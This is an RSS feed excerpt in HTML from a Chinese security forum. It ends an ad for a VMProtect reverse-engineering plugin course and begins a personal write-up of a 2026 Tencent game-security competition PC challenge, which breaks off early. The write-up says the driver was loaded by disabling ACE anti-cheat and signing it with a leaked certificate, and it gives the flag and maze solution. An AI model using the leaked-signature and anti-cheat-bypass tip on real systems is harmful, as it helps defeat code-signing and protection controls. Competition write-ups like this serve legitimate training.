src="https://wechat2rss.xlab.app/img-proxy/?k=ab7e419a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3zWsN7pdKfAXWfWHoJvqzoLB5pX9nIsnqoXFicXujRxfBQTjOtukoq9PtCVYBvVIHutNlS5nE8YD66IWN5479n7I3lakHT5MC8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">最关键的是：你再也不用因为&#34;拿不下VMP&#34;，眼睁睁看着好机会从手里溜走——</span><strong style="box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">成为团队里能啃硬骨头的逆向工程师，职场竞争力直接拉满。</span></span></strong></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 8px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 251, 245);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">课程目录</span></b></p></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.136111111111111" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-backw="562" data-backh="638" data-imgfileid="311128381" src="https://wechat2rss.xlab.app/img-proxy/?k=ac83a5bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2BOc4eZEfgzP5PQ8ticp7gnejUF1XfBO6vohu8sNdOo1VWLPo9YCuBbCa1pVwicVhL40jQBPLl2gVpYT7qXA0ZXeAvtW0juI8c0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><div style="display: inline-block;width: 100%;height: 240px;vertical-align: top;overflow-y: auto;box-sizing: border-box;"><div style="overflow: hidden;box-sizing: border-box;"><div style="margin: 20px 0% 0px;box-sizing: border-box;"><div style="display: inline-block;border: 2px solid rgba(94, 169, 210, 0.6);padding: 0.1em 0.3em;color: rgb(62, 62, 62);text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">第一章  课程介绍</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">课程介绍</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">vmp工作模型与插件切入点</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">修改vmp3.5.1源码</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析vmp3.5.1加密程序</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">搭建x32Dbg插件开发环境</span></p></li></ul><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">第二章  开发x32Dbg插件</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">x32Dbg插件trace功能</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">反汇编引擎BeaEngine</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（下）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（下）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Handler识别抗变形策略</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（下）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">插件实战分析（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">插件实战分析（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">插件实战分析（下）</span></p></li></ul><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">第三章  开发x66Dbg插件</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">x86与x64VMProtect差异概览</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">x64Dbg插件trace功能</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">分析VmEntry（下）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">识别handler（下）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（上）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（中）</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">输出结果（下）</span></p></li></ul><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">第四章  vmp插件开发总结</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">如何适配新版本vmp</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">插件开发中最容易踩的坑</span></p></li></ul></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 8px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 251, 245);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">常见问题</span></strong></p></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q: 课程是录播还是直播？有学习期限吗？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">A: 课程为录播形式，报名后永久可看，随时学习，不限次数回放。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q: 学习中遇到问题怎么办？有答疑吗？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">A: 报名后进入专属学员群，讲师本人在线答疑，遇到卡点随时问，不让问题过夜。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q: 学完能达到什么水平？能独立分析VMP加壳的程序吗？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">A: 学完后你不仅能独立分析VMP加壳程序，还能亲手开发分析插件，把手动效率提升十倍以上。具备应对高版本VMP的能力，不再是“只会用工具”的分析者。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q：我没有VMP基础，能学吗？</span></span><span leaf=""><br/></span><span leaf="">A：课程从基础原理讲起，只要你有x86逆向基础，就能跟上。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q：课程提供源码吗？</span></span><span leaf=""><br/></span><span leaf="">A：提供完整的插件源码，以及分析过程中使用的工具和脚本。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">Q：学完能破解最新版VMP吗？</span></span><span leaf=""><br/></span><span leaf="">A：课程重点培养方法论和适配能力，学完后你具备应对新版本的能力，而非仅针对特定版本。</span></p></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: 10px 0px -12px;transform: translate3d(-10.0005%, 0px, 0px);-webkit-transform: translate3d(-10.0005%, 0px, 0px);-moz-transform: translate3d(-10.0005%, 0px, 0px);-o-transform: translate3d(-10.0005%, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: middle;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 10px 0px 5px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="margin: 0px 0px -4px;line-height: 0;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 10px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128383" src="https://wechat2rss.xlab.app/img-proxy/?k=1328020e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2j1mmUtkKJZXLmCRy2K64UtkPnImxR0FzWdtKGlibKiaxgbficf9XK6tKJ8XefsxdsrRpbkia8UJMvowE6S501AgnKcDqHRlWQkQs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 18px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128382" src="https://wechat2rss.xlab.app/img-proxy/?k=ab681d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2O6VhBaPdbEur7a9keZKxkxoBxQkTJdBEGQBASXzgt9fHO3I4HL00AvrH7sQc2zkLZhC365zDMP44FRib8FEs4iaGTGSOheS38I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 3px;border-color: rgb(54, 86, 183);border-radius: 23px;overflow: hidden;padding: 20px;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><p data-mpa-action-id="mmn7tco0rbr" data-pm-slice="0 0 []" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="400" style="background-color:transparent;width:140px;height:140px;" data-imgfileid="311128391" src="https://wechat2rss.xlab.app/img-proxy/?k=57ce42f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3d20hltDuOwY3bjfNTQn9O52iafEfEdncoUlp5G6kg3aibPfJl7FXbP1Cibdt34DNt6fKMLcIAnCEDWEUYoOnmaibIUoeg9KQENu4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;padding: 0px 0px 0px 20px;height: auto;box-sizing: border-box;"><div style="text-align: justify;color: rgb(54, 86, 183);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><strong style="box-sizing: border-box;"><span leaf="">限时特惠：999元</span></strong></p></div><div style="text-align: center;margin: 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">逆向的世界没有银弹，但有捷径</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">站在高手的肩膀上，少走弯路</span></p></div></div></div></div></div></div></div></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128379" src="https://wechat2rss.xlab.app/img-proxy/?k=74d3268e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1qSzDicuCtDuA8aGoQsnGzNFcMTf45yTVYiaia72FicwKzSFSIq71WRPEAlVcPXk0icnHUnyibtzEulTfj1qShyXMoaRYNX5u2d90IQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128384" src="https://wechat2rss.xlab.app/img-proxy/?k=2f64e9d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K3J9n6SWzv8xVKvgDjXcnZzqrAY82TYB9rtsJSeA2auW23EgEnyHR8QqmJvThMRKYEG799oVnrp9qj5XZtAK9Fb99VqvZECuOc%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128386" src="https://wechat2rss.xlab.app/img-proxy/?k=c466d839&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1rDia5SHCPWaTXTwiaCia3WZN1AYpFyZSCoeMLGu07aw3cjYHjcXBTo8qfdrdGFia62kB52LmjrMGlA8h024kudyzZd3pUVnMpeak%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128387" src="https://wechat2rss.xlab.app/img-proxy/?k=c46f5f74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K2bkIXvicoDAlWaJOkbOOwcMhuMJwibVm4DVQw69y1XrPA3oNiaUR8tLYfwEx3CRgibq4YckJiaBWYrgAT8icH7ciaCZ2JwnfcKfGIn2w%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128388" src="https://wechat2rss.xlab.app/img-proxy/?k=8b732018&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K3U7koa2C3osibUhLkESeWXYdFtjh9KGwNbic9dMMNRg5eAnSViawG01J8QiaRtORfaV9KPob5uwJpFYGf4g4BZycKeV03aBdDe9nw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文报名</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/book-leaflet-136.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4661ee04&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614579%26idx%3D3%26sn%3D942fc47999e8b03d9c29f202cfdb76d6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>2026年腾讯游戏安全初赛-PC方向</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614423&amp;idx=1&amp;sn=8526e89b264b69a99591972be2130d0c</link>
      <description>看雪论坛作者ID：江树</description>
      <content:encoded><![CDATA[<p><span>江树</span> <span>2026-05-05 18:22</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f1378f29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0WvRxWmG7ibff16ibfwJoIYicQnDBzVibguB3KmCTcibz4AW25SsZY8WHX4uQfBhy8KwL2Iic69ZwSzEibHfBkib3NzKfGPYRMSr9GndU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：江树</p>
  <h1 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="moav6cm61ya9" style="font-size: 15px;"><span textstyle="" style="font-weight: normal;">仅为本人题解，并非参考答案不能保证正确，请参照官方公布题解。</span></span></h1><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6dwz" style="font-size: 15px;"><span leaf="">〇、得分点</span></span></h2><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6n5" style="font-size: 15px;"><span leaf="">如何加载驱动</span></span></h3><p><span mpa-font-style="moav6cm6zxw" style="font-size: 15px;"><span leaf="">关掉</span><strong><span leaf="">ACE</span></strong><span leaf="">预启动，随便签一个泄露签名，即可加载驱动，稳定性极高，就蓝屏了两次。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61adg" style="font-size: 15px;"><span leaf="">Flag</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm615or"><span leaf="">flag{SHAD0WNT_HYPERVMX}</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm613ph" style="font-size: 15px;"><span leaf="">最短路径</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6ztl"><span leaf="">DDDDDDSSDDDDWWDDSSSSSSSSAASSSSDD</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//格式化为</span></span><span leaf=""><br/></span><span leaf="">RRRRRRDDRRRRUURRDDDDDDDDLLDDDDRR</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61lg2" style="font-size: 15px;"><span leaf="">地图</span></span></h3><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="webp" data-w="540" style="max-width: 100%;" data-imgfileid="311130367" src="https://wechat2rss.xlab.app/img-proxy/?k=ce69aa35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2eiccIoVoy5TU4CSNHmhj2CL4VoicIZ0KAPp44Mq4ia2xArEIS7DzRzf6cjsamMqvCvL3EsLc6bc4ibRQbLc7uIXjibNqEeRG9rWLc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm69kn"><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">##########################</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">S . . . . . .<span class="code-snippet__comment">#.#. . . . .#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">############ ####### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">############ ####### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . . . .<span class="code-snippet__comment">#.#. . . . .#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">####### ############### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">####### ############### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#. . . . . . . . .#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ### ########### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ### ########### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#. . .#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ####### ### ####### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ####### ### ####### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#. . . . .#.#.#.#. . .#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">############### ### #####</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">############### ### #####</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . .<span class="code-snippet__comment">#.#. . .#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">#### ### ### ### ### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">#### ### ### ### ### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . . . .<span class="code-snippet__comment">#.#.#.#. . . . E#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">##########################</span></span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6ioy" style="font-size: 15px;"><span leaf="">五个泄漏点（最后一个可能有误）</span></span></h3><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span 